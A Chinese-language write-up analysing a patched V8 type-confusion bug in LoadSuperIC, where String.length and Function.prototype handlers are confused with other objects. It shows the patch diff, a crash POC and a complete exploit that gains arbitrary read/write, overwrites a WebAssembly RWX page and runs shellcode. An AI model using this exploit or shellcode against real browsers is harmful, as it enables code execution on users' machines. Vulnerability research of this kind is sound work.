前言
这个漏洞是一个比较老的洞,之所以分析这个漏洞,只要是想再学习一下 ICs
相关的知识。并该漏洞的利用是利用与 String/Function
之间的混淆,比较有意思。
环境搭建
bash
sudo apt install python
git checkout 7d5e5f6c62c3f38acee12dc4114c022441e7d36f
gclient sync -D
这里可以把版本提高一些,这个洞比较老了,所以这个分支存在之前分析过的天府杯的那个 ICs
漏洞
漏洞分析
patch 如下:
bash
diff --git a/src/ic/accessor-assembler.cc b/src/ic/accessor-assembler.cc
index 888c64f..0dd67e7 100644
--- a/src/ic/accessor-assembler.cc
+++ b/src/ic/accessor-assembler.cc
@@ -220,8 +220,8 @@
BIND(&call_handler);
{
exit_point->ReturnCallStub(LoadWithVectorDescriptor{}, CAST(handler),
- p->context(), p->receiver(), p->name(),
- p->slot(), p->vector());
+ p->context(), p->lookup_start_object(),
+ p->name(), p->slot(), p->vector());
}
}
diff --git a/src/ic/ic.cc b/src/ic/ic.cc
index 8fd7668..afcdd72 100644
--- a/src/ic/ic.cc
+++ b/src/ic/ic.cc
@@ -835,25 +835,28 @@
Handle<Object> receiver = lookup->GetReceiver();
ReadOnlyRoots roots(isolate());
+ Handle<Object> lookup_start_object = lookup->lookup_start_object();
// `in` cannot be called on strings, and will always return true for string
// wrapper length and function prototypes. The latter two cases are given
// LoadHandler::LoadNativeDataProperty below.
if (!IsAnyHas() && !lookup->IsElement()) {
- if (receiver->IsString() && *lookup->name() == roots.length_string()) {
+ if (lookup_start_object->IsString() &&
+ *lookup->name() == roots.length_string()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_StringLength);
return BUILTIN_CODE(isolate(), LoadIC_StringLength);
}
- if (receiver->IsStringWrapper() &&
+ if (lookup_start_object->IsStringWrapper() &&
*lookup->name() == roots.length_string()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_StringWrapperLength);
return BUILTIN_CODE(isolate(), LoadIC_StringWrapperLength);
}
// Use specialized code for getting prototype of functions.
- if (receiver->IsJSFunction() &&
+ if (lookup_start_object->IsJSFunction() &&
*lookup->name() == roots.prototype_string() &&
- !JSFunction::cast(*receiver).PrototypeRequiresRuntimeLookup()) {
+ !JSFunction::cast(*lookup_start_object)
+ .PrototypeRequiresRuntimeLookup()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub);
return BUILTIN_CODE(isolate(), LoadIC_FunctionPrototype);
}
@@ -864,8 +867,7 @@
bool holder_is_lookup_start_object;
if (lookup->state() != LookupIterator::JSPROXY) {
holder = lookup->GetHolder<JSObject>();
- holder_is_lookup_start_object =
- lookup->lookup_start_object().is_identical_to(holder);
+ holder_is_lookup_start_object = lookup_start_object.is_identical_to(holder);
}
switch (lookup->state()) {
还是从补丁入手,分析漏洞产生的原因,然后寻找触发方式
一处补丁打在了 LoadIC::ComputeHandler
函数中:
cpp
Handle<Object> LoadIC::ComputeHandler(LookupIterator* lookup) {
Handle<Object> receiver = lookup->GetReceiver();
ReadOnlyRoots roots(isolate());
+ Handle<Object> lookup_start_object = lookup->lookup_start_object();
// `in` cannot be called on strings, and will always return true for string
// wrapper length and function prototypes. The latter two cases are given
// LoadHandler::LoadNativeDataProperty below.
if (!IsAnyHas() && !lookup->IsElement()) {
// 如果是 string.length 则设置特殊的处理函数 LoadIC_StringLength
// 但是漏洞代码验证的是 receiver
// 后面 StringWrapper、JSFunction 同理
- if (receiver->IsString() && *lookup->name() == roots.length_string()) {
+ if (lookup_start_object->IsString() &&
+ *lookup->name() == roots.length_string()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_StringLength);
return BUILTIN_CODE(isolate(), LoadIC_StringLength);
}
- if (receiver->IsStringWrapper() &&
+ if (lookup_start_object->IsStringWrapper() &&
*lookup->name() == roots.length_string()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_StringWrapperLength);
return BUILTIN_CODE(isolate(), LoadIC_StringWrapperLength);
}
// Use specialized code for getting prototype of functions.
- if (receiver->IsJSFunction() &&
+ if (lookup_start_object->IsJSFunction() &&
*lookup->name() == roots.prototype_string() &&
- !JSFunction::cast(*receiver).PrototypeRequiresRuntimeLookup()) {
+ !JSFunction::cast(*lookup_start_object)
+ .PrototypeRequiresRuntimeLookup()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub);
TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub);
return BUILTIN_CODE(isolate(), LoadIC_FunctionPrototype);
}
}
Handle<Map> map = lookup_start_object_map();
Handle<JSObject> holder;
bool holder_is_lookup_start_object;
if (lookup->state() != LookupIterator::JSPROXY) {
holder = lookup->GetHolder<JSObject>();
// 这里没啥区别,就是单独把 ookup->lookup_start_object() 赋给了 lookup_start_object 变量
- holder_is_lookup_start_object =
- lookup->lookup_start_object().is_identical_to(holder);
+ holder_is_lookup_start_object = lookup_start_object.is_identical_to(holder);
}
switch (lookup->state()) {
......
这里我们主要关注补丁上下的逻辑,可以看到在原来的漏洞代码中,对 String.length
和 Function.prototype
的特殊处理判断条件使用的是 receiver
,如果是这两种情况,则会设置特殊的处理程序,并其 handler
设置为 code
类型
这里简单验证下加载字符串的 length
属性时的 ICs
的 handler map
是不是 code
类型:
cpp
var str = "Hello World";
function f(s) {
return 1 + s.length
}
for (let i = 0; i < 20; i++) {
%DebugPrint(f);
readline();
f(str);
}
调试输出如下:
- slot #1 LoadProperty MONOMORPHIC {
[1]: [weak] 0x2d9808042251 <Map>
[2]: 0x2d980804a601 <Code BUILTIN LoadIC_StringLength>
}
......
gef➤ job 0x2d980804a601
0x2d980804a601: [Code] in ReadOnlySpace
- map: 0x2d9808042621 <Map>
kind = BUILTIN
name = LoadIC_StringLength
compiler = turbofan
......
gef➤ job 0x2d9808042621
0x2d9808042621: [Map] in ReadOnlySpace
- type: CODE_TYPE
......
可以看到这里的 handler
确实是 code
类型的,对于加载 JSFunction
同理
另一处补丁打在了 AccessorAssembler::HandleLoadICHandlerCase
函数中:
cpp
void AccessorAssembler::HandleLoadICHandlerCase(
const LazyLoadICParameters* p, TNode<Object> handler, Label* miss,
ExitPoint* exit_point, ICMode ic_mode, OnNonExistent on_nonexistent,
ElementSupport support_elements, LoadAccessMode access_mode) {
Comment("have_handler");
TVARIABLE(Object, var_holder, p->lookup_start_object());
TVARIABLE(Object, var_smi_handler, handler);
Label if_smi_handler(this, {&var_holder, &var_smi_handler});
Label try_proto_handler(this, Label::kDeferred), call_handler(this, Label::kDeferred);
// 如果是 smi_handler 则跳转至 if_smi_handler 逻辑执行
Branch(TaggedIsSmi(handler), &if_smi_handler, &try_proto_handler);
// 不是 smi_hanlder 则执行 try_proto_handler 逻辑
BIND(&try_proto_handler);
{
// 检查是否是 CodeMap,如果是则跳转至 call_handler 逻辑执行
GotoIf(IsCodeMap(LoadMap(CAST(handler))), &call_handler);
// 原型链 handler
HandleLoadICProtoHandler(p, CAST(handler), &var_holder, &var_smi_handler,
&if_smi_handler, miss, exit_point, ic_mode,
access_mode);
}
// |handler| is a Smi, encoding what to do. See SmiHandler methods
// for the encoding format.
// smi_handler
BIND(&if_smi_handler);
{
HandleLoadICSmiHandlerCase(
p, var_holder.value(), CAST(var_smi_handler.value()), handler, miss,
exit_point, ic_mode, on_nonexistent, support_elements, access_mode);
}
// 处理 code_map handler
BIND(&call_handler);
{
// 这里传入的居然是 p->recviver()
exit_point->ReturnCallStub(LoadWithVectorDescriptor{}, CAST(handler),
- p->context(), p->receiver(), p->name(),
- p->slot(), p->vector());
+ p->context(), p->lookup_start_object(),
+ p->name(), p->slot(), p->vector());
}
}
可以看到这里的补丁仅仅把传入的参数 p->receiver()
修改成了 p->looup_start_object()
,对于 CodeMap
的 handler
会直接走到 call_handler
,这里会调用特殊的函数进行处理。有了之前分析天府杯那个洞的经验,可以猜到这里可能存在 receiver
和 lookup_start_object
的类型混淆。然后结合第一处补丁代码,可以知道这里存在 String/Function
与某个对象的类型混淆
这里可能不太好理解(至少笔者最开始没有理解,这里主要是对 Javascript
原型链相关的知识不熟悉),在加载 String.length
或 Function.prototype
时,传入的参数为 receiver
,并且之前生成 handler
时检查的参数也是 receiver
,笔者最开始并没有感觉有问题。比如就 String.length
而言,在笔者看来如果相要走到 call_handler
逻辑,那么根据生成 handler
时的检查逻辑, receiver
必然是 String
,所以最后传入的参数是 receiver
似乎没啥问题。这里发生混淆的可能性就是 receiver
不是 String
,而是一个其它类型,但是按理说 receiver
必须是一个 String
,不然就无法通过之前的检查,所以笔者也是想了很久,也没有想到该如何进行触发
最后没办法,只有对着原作者的 POC
撸了,POC
中主要利用的点是:复态共用内联缓存处理程序
javascript
function poc() {
class C {
m() {
return super.prototype; // C.prototype.__proto__.prototype
}
}
function f() {}
C.prototype.__proto__ = f; // set C.prototype.__proto__ = function f() {}
let c = new C() ;
c.x0 = 1;
c.x1 = 1;
c.x2 = 1;
c.x3 = 1;
c.x4 = 0x42424242 / 2;
f.prototype; // load f.prototype ==> 创建内联缓存
let res = c.m(); // C.prototype.__proto__.prototype ==> f.prototype
}
for (let i = 0; i < 0x100; ++i) {
poc();
}
先来简单分析一下该 POC
:
- 在每次调用
main
函数时,执行C.prototype.__proto__ = f
后,f
的map
也会改变,因为其成为了prototype
- 每次在
main
中执行f.prototype
时,f
的map
都不同,m
函数同理,所以main/f
两个函数对于f.prototype/super.prototype
都是复态 - 在调用
m
函数前总是先执行f.prototype
:其主要的目的就是创建缓存处理程序 - 然后在执行
m
函数时就会复用f.prototype
创建的缓存处理程序
当然这里为啥要用 super
呢?因为这里要共用缓存处理程序,则两次访存对象的属性偏移应当是一样的。而这里你会发现 f.prototype
和 super.prototype
其实是一个东西
这里就成功绕过了计算 code map handler
时对 c map
的检查,在总结一下就是:
- 复态会共享缓存处理程序
- 利用
String.length/Function.prototype
提前创建好缓存处理程序target
- 然后在触发漏洞直接调用提前创建好的缓存处理程序
target
这里 super.prototype
产生的字节码为 LdaNamedPropertyFromSuper
:
cpp
// LdaNamedPropertyFromSuper <receiver> <name_index> <slot>
//
// Calls the LoadSuperIC at FeedBackVector slot <slot> for <receiver>, home
// object's prototype (home object in the accumulator) and the name at constant
// pool entry <name_index>.
IGNITION_HANDLER(LdaNamedPropertyFromSuper, InterpreterAssembler) {
TNode<Object> receiver = LoadRegisterAtOperandIndex(0);
TNode<HeapObject> home_object = CAST(GetAccumulator());
TNode<Object> home_object_prototype = LoadMapPrototype(LoadMap(home_object));
TNode<Object> name = LoadConstantPoolEntryAtOperandIndex(1);
TNode<TaggedIndex> slot = BytecodeOperandIdxTaggedIndex(2);
TNode<HeapObject> feedback_vector = LoadFeedbackVector();
TNode<Context> context = GetContext();
TNode<Object> result =
CallBuiltin(Builtins::kLoadSuperIC, context, receiver, home_object_prototype, name, slot, feedback_vector);
SetAccumulator(result);
Dispatch();
}
其主要就是调用 LoadSuperIC
,最后会调用到 AccessorAssembler::LoadSuperIC
:
cpp
void AccessorAssembler::LoadSuperIC(const LoadICParameters* p) {
ExitPoint direct_exit(this);
TVARIABLE(MaybeObject, var_handler);
Label if_handler(this, &var_handler),
no_feedback(this),
non_inlined(this, Label::kDeferred),
try_polymorphic(this),
miss(this, Label::kDeferred);
// 没有 feedback 则跳转到 no_feedback 逻辑
GotoIf(IsUndefined(p->vector()), &no_feedback);
// The lookup start object cannot be a SMI, since it's the home object's
// prototype, and it's not possible to set SMIs as prototypes.
// 检查 map
TNode<Map> lookup_start_object_map = LoadReceiverMap(p->lookup_start_object());
GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss);
// 尝试单态,失败则跳转到 try_polymorphic 逻辑
TNode<MaybeObject> feedback =
TryMonomorphicCase(p->slot(), CAST(p->vector()), lookup_start_object_map,
&if_handler, &var_handler, &try_polymorphic);
// 成功获取 handler 进行处理
BIND(&if_handler);
{
LazyLoadICParameters lazy_p(p);
HandleLoadICHandlerCase(&lazy_p, CAST(var_handler.value()), &miss, &direct_exit);
}
// 没有 freedback 则执行 LoadSuperIC_NoFeedback
BIND(&no_feedback);
{ LoadSuperIC_NoFeedback(p); }
// 尝试多态
BIND(&try_polymorphic);
TNode<HeapObject> strong_feedback = GetHeapObjectIfStrong(feedback, &miss);
{
Comment("LoadSuperIC_try_polymorphic");
GotoIfNot(IsWeakFixedArrayMap(LoadMap(strong_feedback)), &non_inlined);
HandlePolymorphicCase(lookup_start_object_map, CAST(strong_feedback),
&if_handler, &var_handler, &miss);
}
// 这里的逻辑是 lookup_start_object != receiver 则执行 LoadIC_Noninlined
// 可能是防止类型混淆
BIND(&non_inlined);
{
// LoadIC_Noninlined can be used here, since it handles the
// lookup_start_object != receiver case gracefully.
LoadIC_Noninlined(p, lookup_start_object_map, strong_feedback,
&var_handler, &if_handler, &miss, &direct_exit);
}
// 发生 ICs_miss 则执行 Runtime::kLoadWithReceiverIC_Miss
BIND(&miss);
direct_exit.ReturnCallRuntime(Runtime::kLoadWithReceiverIC_Miss, p->context(),
p->receiver(), p->lookup_start_object(),
p->name(), p->slot(), p->vector());
}
AccessorAssembler::LoadSuperIC
跟 AccessorAssembler::LoadIC
差不多,就不过多分析了,主要是我没有找到处理 megamorphic
的源码...
然后执行下 POC
:
可以看到程序在 Builtins_LoadIC_FunctionPrototype
中崩了,原因是内存访问错误,可以看到这里 rdi
的低 4 字节正是 c.x4
。
然后我们来看下 Builtins_LoadIC_FunctionPrototype
函数的大致逻辑:
正常情况下,这里传入的 rdx
指向的应该是一个 JSFunction
对象,然后 [rdx+0x1b]
存储的是 function prototype
的地址:
然后与 [$r13 + 0xa8
作比较以检查原型是否存在,如果不存在该地址指向 the_hole
:
如果存在原型,则检查 function prototype
的 map
是否合法:
如果 map
合法,则读取固定偏移处的 prototype
并返回,这里读取的偏移为 0xf
。String.length
处理同理分析即可,这里不再赘述。
漏洞利用
在上面的漏洞分析中,我们得到了一个漏洞:某对象与 String/Function
的类型混淆。接下来就考虑如何去利用该原语去构造 addressOf/arb_read/write
原语了。
对于 String
,其取 length
的路径为:
String ⇒ Value=[String_addr+0xb] ⇒ length=[Value_addr+0x7]
对于 Function
,其取 prototype
的路径为:
Function ⇒ function_prototype=[Function_addr+0x1b] ⇒ prototype=[function_prototype_addr+0xf]
todo
:如何进行利用后面再写,有点事情
exp
如下:
javascript
var buf = new ArrayBuffer(8);
var dv = new DataView(buf);
var u8 = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;
function pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return f64[0];
}
function u64_to_f64(val) {
u64[0] = val;
return f64[0];
}
function f64_to_u64(val) {
f64[0] = val;
return u64[0];
}
function set_u64(val) {
u64[0] = val;
}
function set_l(l) {
u32[0] = l;
}
function set_h(h) {
u32[1] = h;
}
function get_l() {
return u32[0];
}
function get_h() {
return u32[1];
}
function get_u64() {
return u64[0];
}
function get_f64() {
return f64[0];
}
function get_fl(val) {
f64[0] = val;
return u32[0];
}
function get_fh(val) {
f64[0] = val;
return u32[1];
}
function add_ref(obj) {
roots[index++] = obj;
}
function major_gc() {
new ArrayBuffer(0x7fe00000);
}
function minor_gc() {
for (let i = 0; i < 8; i++) {
add_ref(new ArrayBuffer(0x200000));
}
add_ref(new ArrayBuffer(8));
}
function hexx(str, val) {
console.log(str+": 0x"+val.toString(16));
}
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
class C1 {
m() {
return super.prototype;
}
}
class C2 {
m() {
return super.length;
}
}
class C3 extends Array {
m() {
return super.length;
}
}
var c1 = new C1();
var c2 = new C2();
var c3 = new C3();
function trigger1(obj) {
let str = new String("XiaozaYa");
C2.prototype.__proto__ = str;
c2.x0 = obj;
str.length;
let res = c2.m();
return res;
}
function leak_element(obj) {
for (let i = 0; i < 100; i++) {
let res = trigger1(obj);
if (res != 8) return res;
}
}
var leak_object_array = [{}, {}, {}, {}];
var leak_object_array_element = leak_element(leak_object_array);
hexx("leak_object_array_element", leak_object_array_element);
//%DebugPrint(leak_object_array);
function trigger2() {
let str = new String("XiaozaYa");
C3.prototype.__proto__ = str;
str.length;
let res = c3.m();
return res;
}
function leak_part_addr() {
for (let i = 0; i < 100; i++) {
let res = trigger2();
if (res != 8) return res;
}
}
function addressOf(obj) {
leak_object_array[0] = obj;
c3.length = (leak_object_array_element-1) / 2;
let l = leak_part_addr();
c3.length = (leak_object_array_element+1) / 2;
let h = leak_part_addr();
return ((l >> 8) & 0xff) | (h << 8);
}
function read32(addr) {
c3.length = (addr-8) / 2;
let l = leak_part_addr();
c3.length = (addr-8+2) / 2;
let h = leak_part_addr();
return ((l >> 8) & 0xff) | (h << 8);
}
var fake_object_array = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
var fake_object_array_addr = addressOf(fake_object_array);
var fake_object_array_map = read32(fake_object_array_addr-1);
var fake_object_array_map_map = read32(fake_object_array_map-1);
var fake_object_array_element = leak_element(fake_object_array);
hexx("fake_object_array_addr", fake_object_array_addr);
hexx("fake_object_array_map", fake_object_array_map);
hexx("fake_object_array_map_map", fake_object_array_map_map);
hexx("fake_object_array_element", fake_object_array_element);
//%DebugPrint(fake_object_array);
var fake_object_addr = fake_object_array_element+8+8*4;
fake_object_array[0] = pair_u32_to_f64(0xEEEEEEEE, (fake_object_array_map_map & 0xff) << 24);
fake_object_array[1] = pair_u32_to_f64((fake_object_array_map_map & 0xffffff00) >> 8, 0x11223344);
fake_object_array[2] = pair_u32_to_f64(0x55667788, (fake_object_addr & 0xff) << 24);
fake_object_array[3] = pair_u32_to_f64((fake_object_addr & 0xffffff00) >> 8, 0x11223344);
fake_object_array[4] = pair_u32_to_f64(fake_object_array_map, 0x0804222d);
fake_object_array[5] = pair_u32_to_f64(fake_object_array_element, 0x20);
c1.x0 = 0;
c1.x1 = 1;
c1.x2 = 2;
c1.x3 = 3;
c1.x4 = (fake_object_array_element-1+8+8)/2;
function trigger3() {
function f() {}
C1.prototype.__proto__ = f;
f.prototype;
let res = c1.m();
return res;
}
for (let i = 0; i < 200; i++) {
trigger3();
}
var fake_array = trigger3();
function arb_read_cage(addr) {
fake_object_array[5] = pair_u32_to_f64(addr-8, 0x20);
return f64_to_u64(fake_array[0]);
}
function arb_write_half_cage(addr, val) {
arb_read_cage(add);
fake_array[0] = pair_u32_to_f64(val, get_h());
}
function arb_write_full_cage(addr, val) {
fake_object_array[5] = pair_u32_to_f64(addr-8, 0x20);
fake_array[0] = u64_to_f64(val);
}
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;
var shellcode = [
0x10101010101b848n, 0x62792eb848500101n,0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n,0x1010101010101b8n, 0x6d606279b8485001n,0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n,0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n,0x894852e201485a08n,0x50f583b6ae2n,
];
var wasm_instance_addr = addressOf(wasm_instance);
var rwx_addr = arb_read_cage(wasm_instance_addr+0x68);
hexx("rwx_addr", rwx_addr);
var raw_buf = new ArrayBuffer(0x200);
var ddv = new DataView(raw_buf);
var raw_buf_addr = addressOf(raw_buf);
hexx("raw_buf_addr", raw_buf_addr);
arb_write_full_cage(raw_buf_addr+0x14, rwx_addr);
for (let i = 0; i < shellcode.length; i++) {
ddv.setBigInt64(i*8, shellcode[i], true);
}
pwn();
//%DebugPrint(raw_buf);
//%SystemBreak();
效果如下:
总结
通过这个漏洞对原型链的理解也更加深刻了,而且发现 Class.prototype.__proto__
配合 spuer
在 SuperIC
的类型混淆漏洞中比较常用。这里漏洞跟之前分析的混淆漏洞不同的是其混淆的时 Function
对象,但是实际分析利用下来,发现混淆什么对象其实不重要,重要的是能不能找到适配的对象,这里的适配对象指的是能够在该对象中伪造有效字段。